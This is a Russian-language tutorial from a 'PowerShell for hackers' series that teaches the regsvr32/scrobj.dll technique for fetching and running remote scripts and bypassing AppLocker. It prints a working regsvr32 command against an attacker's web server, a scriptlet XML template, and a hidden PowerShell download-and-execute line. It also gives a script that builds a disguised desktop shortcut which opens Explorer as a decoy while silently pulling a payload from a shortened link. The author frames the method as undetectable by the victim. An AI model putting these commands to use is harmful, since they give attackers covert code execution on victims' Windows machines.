PowerShell для хакера. Часть VI. RegSVR and Backdooring ShortCut
@webwareЧасть 6
Доброго времени суток колеги. Сегодня продолжим c вами применять различные техники доставки полезной нагрузки c применением powershell и встроенной утилиты Windows RegSVR.
Техника такой доставки полезной нагрузки очень похожа на технику Web Delivery .
Ну сразу же хотелось бы сказать, что данная техника применяется в большинстве случаев для обхода AppLocker, но его наличия совсем не обязательно.В конце статьи я попытаюсь продемонстрировать как можно эту технику применять для инжекта в ярлыки. И так ,давайте приступим)
Сперва давайте посмотрим как работает уже готовый експлойт в метаслоте
Как видим из описания - этот експлойт поднимает на стороне атакуещего простенький веб сервер где создается вредоносный .sct файл в котором находится команда для подгрузки вредоносного скрипта на powershell,который так же размещен на этом веб сервере.
Давайте зададим ему необходимые опции и запустим:
Как видим эксплоит выдал нам команду ,которую нужно запустить на стороне жертвы.
regsvr32 /s /n /u /i:http://192.168.0.107:8080/.sct scrobj.dll
Давайте проверим:
Как видим все очень легко и просто. Давайте посмотрим как это все работает:
Сперва посмотрим на созданный файл .sct
Как видим это обычный XML файл который обработается библиотекой scrobj.dll ( Script Component Runtime) при скачивании .
Regsvr32 является частью ОС и может использоваться для регистрации или отмены регистрации файлов COM скриптов в реестре Windows
Но если разобрать команду по подробнее:
/s (silent) скрытая запуск, не использовать не каких сообщений на вывод.
/n -- говорит о том что не нужно использовать DllRegisterServer
/u -- отмена регистрации
/i -- отвечает за ссылку и DLLinstall
Наша XML представляет из себя VS или JS скрипт между тегами <registration>
Сам шаблон для выполнения команды выглядит так:
<?XML version="1.0"?> <scriptlet> <registration progid="Codeby" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </script> </registration> </scriptlet>
В этом простом примере запускается просто cmd.exe:
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
А в нашем примере метасплоит создал XML , где вместо cmd.exe запускается команда на павершел от веб деливери.
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]:: DefaultCredentials;IEX $w.downloadstring('http://192.168.0.107:8080/');",0);
Со своим пейлоадом выглядит примерно так:
Думаю , что вполне легко ,по принципу прошлой моей статьи,написать генератор таких XML и закинуть такую XML где то на гитхаб или pastebin.
Какая одна из главных преимуществ этой техники ???
Мне удалось заметить - что при выполнении данной команды,жертва не видит кратковременного мелькания окна командной строки( как при обычном запуске команды для павершел).Следственно если где то прописать эту строчку в автозагрузку или куда то заинжектить - то врят ли жертва что то сможет заметить.)
Давайте я продемонстрирую как лекго можно создать вредоносный ярлык с использованием этой техники.
Сперва создадим полезную нагрузку:
Простенький генератор XML файлов
Закинем где то на гитхаб и проверим работоспособность...
Теперь давайте создадим вредоносный ярлык с помошью PowerShell:
$file=Get-Content .\payload.txt $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("C:\Users\DarkNode\Desktop\Codeby.lnk") $Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe" $Shortcut.WindowStyle = 7 $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,15" $Shortcut.Arguments = ""+$file $Shortcut.Save()
payload.txt:
/c explorer.exe /e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D} | regsvr32 /s /n /u /i:http://bit.ly/2jM7Pv2 scrobj.dll
Проверяем, запускаем ярлык и получаем сессию
Всем спасибо за внимание)